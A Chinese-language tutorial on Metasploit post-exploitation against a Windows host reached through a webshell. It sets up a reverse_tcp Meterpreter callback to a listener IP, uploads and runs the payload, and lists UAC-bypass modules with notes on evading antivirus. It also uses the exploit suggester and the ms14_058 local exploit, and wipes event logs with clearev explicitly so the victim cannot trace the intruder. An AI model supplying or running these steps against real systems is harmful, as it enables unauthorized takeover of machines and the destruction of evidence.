在獲得webshell時但許可權不夠大,這時候為了完全獲得受害者機器的許可權,使用msf進行後滲透。
一、獲取Meterpreter會話
Meterpreter 是msf的一個payload,目標執行之後,我們會得到一個會話,和常見的shell會話類似,但是它的功能更加強大,它是執行後滲透測試的實施通道。
(1) 使用msfvenom生成payload
常用命令:
(2)本地監聽
監聽需要用到msf的exploit/multi/handler模組,使用show options檢視需要設定的引數。重要的引數有三個:監聽使用的payload、本地ip、本地監聽埠。這些引數的值跟之前msfvenom使用的引數一樣。
Msfconsole 開啟Metaploit
msf>use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.204.129
(3)將生成的payload通過webshell上傳到伺服器,要上傳到可讀寫的區域並執行
成功監聽獲得meterpreter(一個session(會話))
Getuid 檢視主機名
也可以輸入shell變成命令列模式,輸入exit返回到meterpeter shell模式
輸入background命令讓當前會話儲存到後臺
使用sessions命令可以檢視所有後臺的會話,每個session對應一個id值,後面會經常用到。
(4)Exploit 進行提權(UAC提權)
使用者帳戶控制(UAC)是微軟在 Windows Vista 以後版本引入的一種安全機制,有助於防止對系統進行未經授權的更改。應用程式和任務可始終在非管理員帳戶的安全上下文中執行,除非管理員專門給系統授予管理員級別的訪問許可權。UAC 可以阻止未經授權的應用程式進行自動安裝,並防止無意中更改系統設定。
msf提供了bypassuac模組幫助繞過UAC:
在使用bypassuac模組進行提權時,當前使用者必須在管理員組中,且UAC必須為預設設定(既“僅在程式試圖更改我的計算機時通知我”),bypassuac模組執行時,會在目標機器上建立多個檔案,這些檔案很有可能會被防毒軟體識別。
bypassuac模組介紹
use exploit/windows/local/bypassuac
#該模組執行時會因為在目標機上建立多個檔案而被防毒軟體識別,因此通過該模組提權成功率很低。
use exploit/windows/local/bypassuac_injection
#該模組直接執行在記憶體的反射DLL中,所以不會接觸目標機器的硬碟,從而降低了被防毒軟體檢測出來的概率
use exploit/windows/local/bypassuac_fodhelper
# 該模組通過在當前使用者配置單元下劫持登錄檔中的特殊鍵,並插入將在啟動Windows fodhelper.exe應用程式時呼叫的自定義命令來繞過Windows 10 UAC
use exploit/windows/local/bypassuac_eventvwr
#該模組通過在當前使用者配置單元下劫持登錄檔中的特殊鍵,並插入將在啟動Windows fodhelper.exe應用程式時呼叫的自定義命令來繞過Windows 10 UAC
use exploit/windows/local/bypassuac_comhijack
#此模組將通過在HKCU配置單元中,建立COM處理程式登錄檔項來繞過Windows UAC。當載入某些高完整性程式時將會引用這些登錄檔項,從而導致程式載入使用者控制的DLL。這些DLL中包含了可提升許可權的payload。該模組需要通過目標系統上的cmd.exe來呼叫目標二進位制檔案,因此如果限制cmd.exe訪問,則此模組將無法正常執行。
use exploit/windows/local/bypassuac_windows_store
#通過模擬可信目錄繞過UAC
use exploit/windows/local/bypassuac_sdclt
#Sdclt用於Windows備份和還原機制的上下文中
1.第一次嘗試三個模組都無法獲得許可權
因為webshell許可權只是user,這需要許可權在adminisartor組中
bypassuac 執行成功後會返回一個新的 meterpreter,此時再輸入 shell 進入系統 cmd 檢視許可權,許可權級別已經由 medium 變成了 high。
除此之外還有很多其他的提權指令碼,可以根據 systeminfo 查出來的補丁和提權指令碼做對比,若相關的利用指令碼沒有安裝相應的補丁,則可針對性的進行提權操作。
這裡用bypassuac_injection成功提權
但是對新版的的win10沒有一個可以成功繞過。
2.也可以嘗試使用windwos的漏洞進行提權,可以用metaspolit的內建模組
use post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
set session id
#id是已經獲得的session號
當我們用它來探測某一個系統時,他會告訴我們該系統有哪些exploit可能可以利用
use post/multi/recon/local_exploit_suggester
詳細利用在另一篇文章
發現可能的漏洞後可以找到對應exp的模組:
如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058為例。
msf5 > use exploit/windows/local/ms14_058_track_popup_menu
msf5 > exploit(ms14_058_track_popup_menu) > set session 1
msf5 > exploit(ms14_058_track_popup_menu) > exploit
日誌清除
清除日誌
再進入肉雞執行一些操作時,windows 下記錄的操作日誌可在日誌檢視器中進行檢視,可以通過執行 eventvwr 命令開啟。
包括了應用程式、系統、安全等模組的日誌,為了不讓其查到自己或知道自己的操作,則可以使用 meterpreter 的 clearev 命令來清除其日誌。
未清除日誌前可檢視系統記錄的一些處理資訊。
然後在 meterpreter 下執行 clearev 命令,可以看到清除提示,分別清除了應用程式,系統和安全模組的日誌記錄。
命令執行後,再到靶機的日誌檢視器中檢視,日誌已經被清除。